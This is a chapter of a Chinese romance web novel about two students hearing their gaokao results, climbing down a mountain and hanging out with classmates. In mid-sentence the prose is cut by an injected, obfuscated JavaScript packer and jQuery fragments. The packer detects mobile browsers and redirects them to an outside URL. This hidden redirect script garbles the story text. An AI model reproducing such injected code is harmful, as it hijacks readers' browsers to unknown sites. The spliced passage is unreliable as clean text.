“我是不知道你们省、你们文科生考多少分算不错,但在满分七百五的情况下——”江岁羽没作犹豫,漫不经心点了确认。加载花了几秒钟,等页面一跳出来,行了,也不用安慰了。提心吊胆什么啊,根本没必要。 看着挺柔一姑娘,倔起来是真倔。你说她有时候太感性吧,她偏偏又有大将之风。此刻,才是她挥刀入鞘的瞬间。 蝉声鸟鸣,人声鼎沸,什么都听得到,就是没听到江岁羽的只言片语。楚晞心凉半截。 “……没、没到?”她气若游丝地问。 “楚晞。” 她都不敢应声,“…嗯?” “上了大学之后,报名参加《最强大脑》试试吧,你也未必比那些参赛者差。”江岁羽收起插科打诨的念头,给了条真诚建议。那天,她提到这节目,颇有点配不上那意思,如今想来还是小看自己了,“恭喜了,六百七十四。” “啊,嘶。” 江岁羽:“怎么?” “你刚吓我一跳。”楚晞蹙着眉,眨着眼睛可怜兮兮地望过去,眸里像窝着一汪湖水。她就这样甩锅,“以至于,我腿麻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717588|173788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下不了山了。” 江岁羽:“……?” 手机电量归零,彻底关机。 楚晞趴在江岁羽背上,扣着他的脖颈,一通瞎指挥,“咱们上山是这条路吗,不太像啊?” 你瞧瞧,人心情好起来,就是会跟领导一样摆谱,简单点讲就是背着说话不腰疼。 彼时这姓楚的领导又发话了:“你是不是不行?” 江岁羽:“……” 他默然了两秒,遂把人往上提了提:“别怪我没提醒,抓紧。” “啊?” 江岁羽一骨碌提了速,往下瞬间下了一沓台阶,直接飞到下一平台。 楚晞被力的作用带的上下颠簸,快一米九的视野又太过于高,再加上变化得过快,看得人晕晕乎乎,只能“哇哇”乱叫:“你慢一点!!” “啊啊啊啊啊!!!” OK.FINE. 男生都听不得自己不行。 摩托回去这一路,楚晞又累又困,精神被持续以兴奋攻击太久,这会儿冷却下来,只想睡觉。 她伸手圈住江岁羽的腰腹,紧紧的,然后放心靠在他肩背上,缓缓闭上眼睛。 …… 再次醒来大概是下午三四点了。 门外动静有点大,她醒了就没想继续睡觉的念头。很快开了卧室门,哪知不大的客厅里多出了三个男生,都穿一模一样的衣服,有点类似大学毕业的学士服,但是没有领子颜色之分。 她一探头,几个人齐刷刷看过来。 有一个嘴里叼着薯片,在操纵手机,看样子在打游戏。一抬眼见到她,错愕到薯片“啪叽”掉在地上,碎成几瓣。 “江岁羽!!!”手机也掉了,魂不守舍地扭头喊,“我的哥!” “干吗?”冰箱门开了又合上,江岁羽从里面拿了瓶水,冰雾化开染了指尖。 对方眼珠子都快瞪出来:“我他喵好像见到女鬼了!” 而他皱着眉回:“建议你去看看眼科。” “不是啊哥,”对方手指颤巍巍地抬向楚晞,颇有一种下一秒就能立刻晕过去的架势,“她谁啊?” 李炎,这个有过一面之缘的男生跳出来:“这事儿说来复杂,反正事情就是这么个事情,人就是这么个人,具体什么情况呢,还要看他俩什么情况。” 好一个废话文学! 楚晞这才想起来,江岁羽提过,他们学校今天办毕业典礼。因为江苏是今晚8点查分,所以特地挑了这一天。看这着装,他们学校还怪有仪式感。 所以不难得知,他们这几个是他同学,参加完了欢送会顺便来坐坐而已。 等等,如果他今天毕业典礼,那岂不是从紫金山下来就没睡? 楚晞抿了抿唇,不禁一阵愧疚感上头。 江岁羽神色照旧冷冷淡淡,也没多话,就跟她说:“吵着你了?他们就来等我换个衣服聚餐,我马上领着出去。” 她说没事,看向薯片哥,“不好意思,我是人。” “……” 最终,他们这一群人也没走。 李炎提议大家就以这儿为根据点,烧烤啤酒撒欢到到查分时间点,反正都是毕业最后的狂欢。一群人自然是附和着赞同,楚晞没意见。不但没意见,顺便还聊上了。 趁着外卖在路上,江岁羽被赶去卧室眯一小会儿,客厅里只剩一女三男。 李炎像告黑状似的:“你们都不知道,江岁羽今天收了多少封情书!自己班的,别的班的,甚至还有学妹的!简直令人发指!” “这不都习惯了?”有人接话,“毕竟都最后一次了,以后再也没机会。你瞧,嘿,我也有一封。” 李炎哭天喊地说命运不公。他扭头问楚晞:“我与江公孰美,啊不是,孰帅?” 楚晞:“……要说实话吗?” “别为难人家姑娘了哈哈哈哈!”众人笑做一团,独留李炎哭得更惨绝人寰。 有这么一活宝调节气氛,一下子就热闹起来了。这边吐槽午练制度,那边再说死也不会复读,两边联合起来说这辈子不想再读一次高中。 李炎双腿分开,手臂抵在膝盖上,消息震个不停,他跟个大爷似的慢悠悠在打字:“你瞧瞧,距离八点还有几个小时呢,这信息就爆了。” 有人问了:“你估多少?” “一般般吧,三百九往上,混个书读。”李炎瞧了眼楚晞,知道这时候得适当装个逼,于是故意凡尔赛了一下。 哪知是偏向瞎子抛媚眼。 毕竟她想的是,这个分数啊,确实是混个书读。本科线肯定到不了,勉强上个大专。不过看他的表情,好像也并没有很难过。 家里有矿? 等等! 楚晞这会儿才记起来,她忘了给列表回消息。爸妈,朋友,同学,老师……她睡了一觉,全都忘了个干干净净! 完了。 彻底完了。 她正要借口溜回房间看手机,却又听得有人问:“对了,江岁羽呢?我都没问他。” “敦”一下她又坐了回去。 “四百多点吧,我就这么听他随口一说。” …… 楚晞赶回卧室紧急回复消息。 手机电充到满格,果不其然,消息已经爆炸了,她再晚回一秒,警察都得接到她失踪的电话。 迅速安抚父母,回复朋友,致歉老师。 夏江南一个电话打过来,劈头盖脸就是一顿输出,楚晞有口难言,只好弱弱地服软认错:“对不起嘛,我爬山看日出去了,手机又没电,回来太困直接睡着了。” “看日出?和谁?就你一个?” 楚晞:“嗯,还有那个——” “打住,懂了。”夏江南一言难尽地问,“他考得怎么样?” 楚晞:“……” 夏江南:“不怎么样?” 楚晞摸摸鼻子:“可能,是差了一点……” 夏江南:“多少?六百?五百?” “快了快了,接近了。” 夏江南恨不得揪她耳朵:“回家吧回家吧,孩子。他可以是七百,可以是六百,可以是五百,就绝不能是四百!超级无敌大学渣,跟你差距太大了,肯定没结果的。” 楚晞真的很伤心。 “我知道嘛,但我,但我……” 他究竟怎么能在重点中学考出这个成绩啊? 四百分,应该勉勉强强本科线? 他能考上本科吗? 他要复读吗? 楚晞吸了吸鼻子。 “我也不想做恋爱脑,前途永远比爱情重要,他虽然帅,但是,但是……怎么谈以后嘛!呜呜呜我该怎么办?”